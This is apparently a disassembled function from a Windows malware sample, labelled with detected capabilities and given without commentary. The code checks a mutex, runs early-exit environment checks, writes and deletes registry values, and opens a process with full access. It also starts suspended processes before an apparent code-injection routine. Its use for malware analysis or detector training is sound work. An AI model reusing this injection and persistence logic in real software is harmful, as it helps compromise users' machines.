Function at 0x407b58
Capabilities:
Create process on windows
Create process suspended
Delete registry value

Disassembly:
push ebp
mov ebp, esp
mov ecx, 9
push 0
push 0
dec ecx
jne 0x407b60
push ecx
push ebx
push esi
push edi
mov eax, 0x407ac0
call fcn.00404738
mov esi, dword [0x4090d0]
mov edi, dword [0x4090c0]
xor eax, eax
push ebp
push 0x408064
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
call fcn.00407754
push 0x1f4
call sub.kernel32.dll_Sleep
push 0x40ad00
push 0x408074
push 0x80000001
call sub.advapi32.dll_RegOpenKeyA
push 0x408088
mov eax, dword [0x40ad00]
push eax
call sub.advapi32.dll_RegDeleteValueA
mov eax, dword [0x40ad00]
push eax
call sub.advapi32.dll_RegCloseKey_1
call fcn.00405f58
mov eax, 0x40acfc
mov edx, dword [0x4090b0]
mov edx, dword [edx]
call fcn.00403768
mov eax, dword [0x4090c8]
cmp byte [eax], 1
jne 0x407cc8
jmp 0x407c37
lea eax, [ebp - 0x14]
push eax
mov edx, dword [edi]
mov eax, 0x4080a0
call fcn.00403ad8
mov ecx, eax
dec ecx
mov eax, dword [edi]
mov edx, 1
call fcn.00403a50
mov eax, dword [ebp - 0x14]
call fcn.00407910
mov edx, dword [edi]
mov eax, 0x4080a0
call fcn.00403ad8
mov ecx, eax
mov eax, edi
mov edx, 1
call fcn.00403a90
mov edx, dword [edi]
mov eax, 0x4080a0
call fcn.00403ad8
dec eax
jge 0x407bf6
jmp 0x407cb9
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
mov edx, dword [esi]
mov eax, 0x4080a0
call fcn.00403ad8
mov ecx, eax
dec ecx
mov eax, dword [esi]
mov edx, 1
call fcn.00403a50
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
or edx, 0xffffffff
call fcn.0040757c
lea eax, [ebp - 0x20]
push eax
mov edx, dword [esi]
mov eax, 0x4080a0
call fcn.00403ad8
mov ecx, eax
dec ecx
mov eax, dword [esi]
mov edx, 1
call fcn.00403a50
mov eax, dword [ebp - 0x20]
call fcn.00407674
mov edx, dword [esi]
mov eax, 0x4080a0
call fcn.00403ad8
mov ecx, eax
mov eax, esi
mov edx, 1
call fcn.00403a90
mov edx, dword [esi]
mov eax, 0x4080a0
call fcn.00403ad8
dec eax
jge 0x407c48
mov eax, dword [0x4090dc]
mov eax, dword [eax]
call fcn.004039f0
push eax
push 0
push 0
call fcn.0040484c
mov esi, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x407cf5
push 0
call sub.kernel32.dll_ExitProcess_1
jmp 0x407cfb
push esi
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x4090ac]
cmp byte [eax], 1
jne 0x407d12
call fcn.00407164
cmp al, 1
je 0x408049
mov eax, dword [0x4090cc]
cmp byte [eax], 0
je 0x407d29
call fcn.00407120
cmp al, 1
je 0x408049
mov eax, dword [0x4090c4]
cmp byte [eax], 0
je 0x407d40
call fcn.004071c8
cmp al, 1
je 0x408049
mov eax, dword [0x4090b8]
cmp byte [eax], 0
je 0x407d57
call fcn.004072e8
cmp al, 1
je 0x408049
call fcn.00405664
cmp al, 1
jne 0x407d9e
push 0x4080ac
mov ecx, dword [0x4090bc]
mov ecx, dword [ecx]
lea eax, [ebp - 0x28]
mov edx, 0x4080bc
call fcn.004038c8
mov eax, dword [ebp - 0x28]
call fcn.004039f0
mov edx, eax
lea eax, [ebp - 0x24]
call fcn.00403834
mov edx, dword [ebp - 0x24]
mov ecx, 0x4080d0
mov eax, 0x80000001
call fcn.004055ac
lea edx, [ebp - 0x30]
xor eax, eax
call fcn.00402ae4
mov eax, dword [ebp - 0x30]
call fcn.004039f0
mov edx, eax
lea eax, [ebp - 0x2c]
call fcn.00403834
mov eax, dword [ebp - 0x2c]
push eax
mov ecx, dword [0x4090bc]
mov ecx, dword [ecx]
lea eax, [ebp - 0x38]
mov edx, 0x4080bc
call fcn.004038c8
mov eax, dword [ebp - 0x38]
call fcn.004039f0
mov edx, eax
lea eax, [ebp - 0x34]
call fcn.00403834
mov edx, dword [ebp - 0x34]
mov ecx, 0x4080dc
mov eax, 0x80000001
call fcn.004055ac
mov eax, 0x40acfc
call fcn.00403a48
mov dword [0x40ac98], eax
mov ecx, 0x40ac9c
mov edx, 0x4080ec
mov eax, 0x4080fc
call fcn.00405064
mov esi, eax
mov eax, dword [0x4090d4]
cmp byte [eax], 1
jne 0x407f8c
lea edx, [ebp - 0x3c]
mov eax, dword [0x4090b4]
mov eax, dword [eax]
call fcn.004057b8
mov eax, dword [ebp - 0x3c]
mov edx, 0x408108
call fcn.0040393c
jne 0x407ee9
push 0x40ac94
push 0
push 0x408118
call sub.user32.dll_FindWindowA
push eax
call sub.user32.dll_GetWindowThreadProcessId
mov eax, dword [0x40ac94]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
mov ebx, eax
mov edx, dword [0x40ac98]
mov eax, ebx
call fcn.00406f68
test al, al
jne 0x407ee2
mov eax, 0x40acb0
mov edx, 0x44
call fcn.0040496c
mov eax, 0x40aca0
mov edx, 0x10
call fcn.0040496c
push 0x40aca0
push 0x40acb0
push 0
push 0
push 4
push 0
push 0
push 0
push 0x408128
push 0
call sub.kernel32.dll_CreateProcessA
mov ebx, dword [0x40aca0]
mov edx, dword [0x40ac98]
mov eax, ebx
call fcn.00406f68
mov ebx, eax
jmp 0x407f8c
mov bl, 1
jmp 0x407f8c
mov edx, 0x40ac90
mov eax, dword [0x4090b4]
mov eax, dword [eax]
call fcn.004052d8
cmp al, 1
jne 0x407f1a
lea edx, [ebp - 0x40]
mov eax, dword [0x40ac90]
call fcn.0040545c
mov edx, dword [ebp - 0x40]
mov eax, dword [0x4090b4]
call fcn.00403768
jmp 0x407f2f
lea eax, [ebp - 0x44]
call fcn.00405134
mov edx, dword [ebp - 0x44]
mov eax, dword [0x4090b4]
call fcn.00403768
mov eax, 0x40acb0
mov edx, 0x44
call fcn.0040496c
mov eax, 0x40aca0
mov edx, 0x10
call fcn.0040496c
push 0x40aca0
push 0x40acb0
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [0x4090b4]
mov eax, dword [eax]
call fcn.004039f0
push eax
push 0
call sub.kernel32.dll_CreateProcessA
mov ebx, dword [0x40aca0]
mov edx, dword [0x40ac98]
mov eax, ebx
call fcn.00406f68
mov ebx, eax
mov eax, dword [0x4090d8]
cmp byte [eax], 1
jne 0x407fe4
mov edx, dword [0x4090dc]
mov edx, dword [edx]
lea eax, [ebp - 0x48]
mov ecx, 0x408140
call fcn.004038c8
mov eax, dword [ebp - 0x48]
call fcn.004039f0
push eax
push 0
push 0
call fcn.0040484c
mov edi, eax
call sub.kernel32.dll_GetLastError
cmp eax, 0xb7
jne 0x407fd3
push edi
call sub.kernel32.dll_CloseHandle
jmp 0x407fe4
test esi, esi
je 0x407fde
mov eax, esi
call fcn.00407840
push edi
call sub.kernel32.dll_CloseHandle
test bl, bl
jne 0x408049
mov eax, 0x40acb0
mov edx, 0x44
call fcn.0040496c
mov eax, 0x40aca0
mov edx, 0x10
call fcn.0040496c
push 0x40aca0
push 0x40acb0
push 0
push 0
push 4
push 0
push 0
push 0
lea edx, [ebp - 0x4c]
xor eax, eax
call fcn.00402ae4
mov eax, dword [ebp - 0x4c]
call fcn.004039f0
push eax
push 0
call sub.kernel32.dll_CreateProcessA
mov ebx, dword [0x40aca0]
mov edx, dword [0x40ac98]
mov eax, ebx
call fcn.00406f68
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40806b
lea eax, [ebp - 0x4c]
mov edx, 0xf
call fcn.00403738
ret